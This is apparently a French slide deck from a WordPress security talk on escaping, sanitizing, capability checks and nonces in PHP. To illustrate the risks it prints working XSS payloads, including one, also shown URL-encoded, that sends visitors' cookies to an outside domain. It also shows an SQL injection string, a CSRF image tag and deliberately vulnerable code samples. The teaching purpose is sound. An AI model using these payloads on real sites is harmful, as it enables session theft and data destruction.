Comment écrire du code sécure
Stéphane Boisvert
WordPress.com VIP
@StephBoisvert
Cette présentation inclut:
Pourquoi?
“Mon site est inconnu”
“C’est lent”
Échapement
(Escaping)
Échapement - Pourquoi
<?php
echo '<div > bonjour '. $_GET['nom_utilisateur'] .'</div>';
?>
http://localhost/?nom_utilisateur=<script>alert('dangereux');</script>
%3C%69%6d%67%20%6f%6e%65%72%72%6f%72%3D%22%76%61%72%20%73%3D%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3B%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%27%2F%2F%73%74%65%70%68%62%6f%69%73%76%65%72%74%2e%63%61%2F%63%2F%27%2B%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%29%3B%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%20%73%20%29%3B%61%6c%65%72%74%28%27%62%61%64%27%29%3B%22%20%73%72%63%3D%27%78%27%3E
Échapement - Impact
http://localhost/?nom_utilisateur=<script>var s=document.createElement('script');s.setAttribute('src','//stephboisvert.ca/c/'+encodeURIComponent(document.cookie));document.body.appendChild( s )</script>
Échapement - valeurs chiffrées
Ça semble dangereux:
http://localhost/?nom_utilisateur=<img onerror=\"var s=document.createElement('script');s.setAttribute('src','//stephboisvert.ca/c/'+encodeURIComponent(document.cookie));document.body.appendChild( s )" src='x'>
Ça semble innocent :
http://localhost/?nom_utilisateur=%3C%69%6d%67%20%6f%6e%65%72%72%6f%72%3D%22%76%61%72%20%73%3D%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3B%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%27%2F%2F%73%74%65%70%68%62%6f%69%73%76%65%72%74%2e%63%61%2F%63%2F%27%2B%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%29%3B%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%20%73%20%29%3B%61%6c%65%72%74%28%27%62%61%64%27%29%3B%22%20%73%72%63%3D%27%78%27%3E
Même effet!
Échapement - strip_tags()!
<?php�echo '<div > bonjour '. strip_tags($_GET['nom_utilisateur'], array('a','b','i','img') ) .'</div>'�?>
http://localhost/?nom_utilisateur=<img onerror="alert('dangereux');" src='x'>
http://localhost/?nom_utilisateur=<b onclick="alert('dangereux');">steph</b>
%3C%69%6d%67%20%6f%6e%65%72%72%6f%72%3D%22%76%61%72%20%73%3D%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3B%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%27%2F%2F%73%74%65%70%68%62%6f%69%73%76%65%72%74%2e%63%61%2F%63%2F%27%2B%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%29%3B%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%20%73%20%29%3B%61%6c%65%72%74%28%27%62%61%64%27%29%3B%22%20%73%72%63%3D%27%78%27%3E
Échapement - img on_error
Un commentaire innocent:
Ce produit est excellent! <img onerror=\"var s=document.createElement('script');s.setAttribute('src','//stephboisvert.ca/c/'+encodeURIComponent(document.cookie));document.body.appendChild( s )" src='x'>
Ceci envoit l’information d’authentification à un tiers parti!
Échapement - Base de données
$wpdb->query("INSERT INTO revue (revue) VALUES '".strip_tags( $_GET[ 'revue' ], '<a><b><i><img>')."' ");
$revue = $wpdb->get_var("SELECT revue FROM revue WHERE item_ID = 1 LIMIT 1");
echo $revue;
�
http://localhost/?revue=Ce%20produit%20est%20excellent<img onerror="alert('dangereux');" src='x'>
Échapement - Combinaison
Même si tu enleve toutes les balises html tu n’es pas protégé
Revue 1:
Ce produit est incroyable<img src="
Revue 2
Achetez en un!" onerror=alert('dangereux');">
End Result:
Ce produit est incroyable<img src="
<div>autre text</div>
Achetez en un!" onerror=alert('dangereux');">
Comment échaper
Fonctions fournies par WordPress:
esc_html()
esc_attr()
WP_KSES
wp_strip_all_tags()
esc_url()
esc_js()
wp_json_encode()
Échapement - esc_html() & esc_attr()
$chaine = <img onerror="alert('dangereux');" src='x'>�echo '<div class="'. esc_attr( $chaine ) . ' "> salut '. esc_html( $chaine ) .'</div>';
Avant:
<div class="<img onerror="alert('dangereux');" src='x'> "> salut <img onerror="alert('dangereux');" src='x'></div>
Après:
<div class="<img onerror="alert('dangereux');" src='x'>"> salut <img onerror="alert('dangereux');" src='x'></div>
Résultat final:
salut <img onerror="alert('dangereux');" src='x'>
Le code n’est pas interpréter!
Échapement - WP_KSES
$chaine = <img onerror="alert('dangereux');" src='x'><a href="http://stephboisvert.ca" onclick="alert('dangereux')">
�echo '<div >Revue: '. wp_kses_post( $chaine) .'</div>';
Avant:
<img onerror="alert('dangereux');" src='x'><a href="http://stephboisvert.ca" onclick="alert('dangereux')">
Après:
<img src='x'><a href="http://stephboisvert.ca">
Échapement - WP_KSES
Échapement - esc_url()
1) esc_url('stephboisvert.ca/"><script>alert('dangereux');</script>');
=>
http://stephboisvert.ca/scriptalert('dangereux');/script
Enlèves completement les valeurs inappropriés
2) esc_url('stephboisvert.ca');
=>
http://stephboisvert.ca
Arrange les URL
Échapement - esc_js
Doit seulement être utilisé dans les attributs HTML
Correct:�<div onclick="alert(\' ' . esc_js( $nom_utilisateur ) . '\')">
Incorrect:
<script>alert(" ' . esc_js( $nom_utilisateur ) . ' ");</script>
esc_js converti les entités HTML, enlève les fins de ligne (\n\r)
mais n’enlève pas les ' (tandis que esc_html et esc_attr les enlève)
Échapement - wp_json_encode
Pour sortir des données PHP en format Javascript
Incorrect:
<script>alert( " ' . esc_js( $nom_utilisateur ) . ' " );</script>
Correct:
<script>alert( ' .wp_json_encode( $nom_utilisateur ) . ' );</script>
Prenez note que wp_json_encodes ajoute des “ ”.
wp_json_encode traite les arrays et les objets (seulement les variables publics )
Nettoyer
(Sanitize)
Nettoyer - Pourquoi?
$wpdb->query("INSERT INTO revue (revue) VALUES '".strip_tags($_GET['revue'], '<a><b><i><img>')."'
http://localhost/?revue='; DROP DATABASE;
Peut supprimer la base de données ainsi que révéler les noms d’utilisateur et les mots de passe.
Utiliser $wpdb->prepare()
Sécure mais sous-optimale:
$wpdb->query(
$wpdb->prepare( " INSERT INTO revue (revue) VALUES %s ",
$_GET['revue']
)
);
Toujours nettoyer avant d’enregistrer les données:
$wpdb->query(
$wpdb->prepare( " INSERT INTO revue (revue) VALUES %s ",
wp_kses_post( $_GET['revue'] )
)
);
Nettoyer votre base de données
$wpdb->query(
"SELECT FROM revue WHERE revue LIKE ' ". esc_like( sanitize_text_field( $_GET['revue'] ) ) . " ' "
);
Incorrect :(
esc_like() converti les valeurs pour qu’ils fonctionnent comme prévus
Échappe seulement les % (percent) et _ (tiret bas) and \ (barre oblique) par ce que il on une fonction spécial dans les commandes LIKE.
Échapper les valeurs avec $wpdb->prepare( );
Nettoyer - utiliser prepare()
Si vous avez une variable vous devez utiliser $wpdb->prepare()
$wpdb->query(
$wpdb->prepare( " INSERT INTO revue (revue) VALUES %s ",
wp_kses_post( $_GET[ 'revue' ] )
)
);
Pas de variable pas de : $wpdb->prepare()
$wpdb->query( " INSERT INTO revue (revue) VALUES 'Ceci est un test' " ) );
Wpdb espaces réservés (placeholder)
%s espaces réservés pour des chaines de charactère
%d espaces réservés pour des nombres ou des nombres séparé pas des virgules ( “1, 5, 200” )
Fonctions de Nettoyage
sanitize_text_field()
tag_escape()
sanitize_html_class
is_email()
validate_file()
esc_url_raw()
sanitize_email()
sanitize_file_name()
sanitize_html_class()
sanitize_key()
sanitize_mime_type()
sanitize_option()
sanitize_sql_orderby()
sanitize_text_field()
sanitize_title_for_query()
sanitize_title_with_dashes()
sanitize_user()
sanitize_meta()
sanitize_term()
sanitize_term_field()
Nettoyer, toujours nettoyer
Valider le plus possible. Soyez le plus stricte possible.
Utiliser in_array() pour vérifier si la valeurs est permise.
Si vous vous attendez a un nombre ( “int” ), utiliser intval()
Si vous vous attendez a un URL, une adresse courriel, validé les avec
is_email(), sanitize_email(), esc_url_raw()
Permission
Current_user_can
Current_user_can
https://codex.wordpress.org/Roles_and_Capabilities
Les “Rôles” ne sont pas des Capacités ( “Capabilities” )
Un utilisateur a des “Rôle”, Un role a des “capabilities”. (Vous pouvez assigner des capabilities a des utilisateurs, mais vous devriez probablement pas)
Example de rôle:
Auteur (Author)
Éditeur (Editor)
Example de Capacités:
edit_posts
manage_options
Current_user_can - Pourquoi?
add_action( 'wp_ajax_sb_maj_utilisateur', 'sb_maj_utilisateur' );
function sb_maj_utilisateur() {
update_option( 'sb_utilisateur', sanitize_text_field( $_POST['utilisateur'] ));
}
http://stephboisvert.ca/admin-ajax.php?utilisateur=EVIL
N’importe qui avec un compte (comme les commentateurs) peuvent mettre ceci a jours!!
Current_user_can
Quand vous prenez une action vérifier toujours les permissions avec current_user_can:
add_action( 'wp_ajax_sb_maj_utilisateur', 'sb_maj_utilisateur' );
function sb_maj_utilisateur() {
if ( ! current_user_can( 'manage_options' ) ){
return false;
}
update_option( 'sb_name', sanitize_text_field( $_POST[ 'utilisateur' ] ));
}
Listes des capacités par défaut: https://codex.wordpress.org/Roles_and_Capabilities
Current_user_can
Quand vous mettez à jour un “Post”, vérifier si l’utilisateur a accès a cet objet Post en particulier.
function sb_maj_utilisateur() {
$post_id = inval( $_GET[ 'post_id' ] );
if ( ! current_user_can( 'edit_post', $post_id ) ){
return false;
}
update_post_meta( $post_id, 'sb_meta_key', sanitize_text_field( $_GET[ 'post_meta' ] ));
}
Crée vos propre role!
add_role()
remove_role()
Doit seulement être exécuter une seule fois, Ensuite c’est stocker dans la base de donnée.
add_role( ‘steph_maj_post’, ‘Steph MAJ’, array(‘read’,’edit_sb_maj_post_meta’) );
Le rôle va apparaitre comme Steph MAJ dans le menu déroulant
L’utilisateur sera capable de lire (read) les posts et aura la capabilité personalisé edit_sb_post_meta
Create your own Capabilities
$role = get_role( ‘editor’ );
$role->add_cap( ‘edit_sb_maj_post_meta’ );
A seulement besoin d’êtres exécuter une fois, ensuite c’est stoker dans la base de données.
Exécuter sur l’activation du thèmes ou de l’extension (plugin)
Custom Capabilities
function sb_maj_post_meta() {
$post_id = inval( $_GET[ 'post_id' ] );
if ( ! current_user_can( 'edit_sb_maj_post_meta' ) ){
return false;
}
update_post_meta( $post_id, 'sb_cle_meta', sanitize_text_field( $_GET[ 'utilisateur' ] ));
}
Nonces
(On peut, mais est ce qu’on veut?)
Nonces - C’est tu mois qui a fait sa?
Que ce passe t’il si je vais a un autre site web qui contient ceci:
<img src=”http://stephboisvert.ca/admin-ajax.php?post_id=123&utilisateur=dangereux”>
J’ai les permissions néssésaire pour executer sb_update_post_meta() Mais j’avais pas l’intention.
$nonce = wp_create_nonce( 'update_sb_maj_post_meta' );
<a href='<?php echo esc_url( http://stephboisvert.ca/admin-ajax.php?post_id=123&utilisateur=BIEN&_wpnonce=" . $nonce); ?>'>Mise a jour</a>
'update_sb_maj_post_meta' Est le nom de l’action
Nonces - C’est tu moi qui a fait sa?
wp_nonce_url():
$end_url = wp_nonce_url( home_url('/page/'), 'edit_sb_maj_post_meta'.$post->ID, 'nom_de_la_variable_nonce' );
wp_verify_nonce():
wp_verify_nonce( $_GET[ ‘nom_de_la_variable_nonce’ ], 'edit_sb_maj_post_meta'.$post->ID );
wp_nonce_field():
wp_nonce_field( ‘edit_sb_maj_post_meta'.$post->ID ): =>
<input type="hidden" id="_wpnonce" name="_wpnonce" value="796c7766b1" />
check_admin_referer():
check_admin_referer( ‘edit_sb_maj_post_meta'.$post->ID );
https://codex.wordpress.org/WordPress_Nonces
Autre chose aléatoire
“Type Juggling”:
Quand vous utiliser in_array() -> utiliser le paramêtre strict http://php.net/manual/en/types.comparisons.php
N’oubliez pas -1
$num_posts = min( 100, $nombre_maximum ) - Mais qu’est ce qui arrive si $nombre_maximum = -1 ?
Traduction:
sprintf( esc__html__( “Titre: %s , post_id: %d” ), esc_html( $titre ), $post_id );
Les traducteur peuvent changer %d to %s !
Si $post_id = “<script>alert(‘dangereux’)</script>” - Insécure!
Comparé les hash avec hash_equals()
Questions?
@StephBoisvert
Vip.WordPress.com
Travailler a WordPress.com
http://automattic.com/work-with-us/vip-wrangler/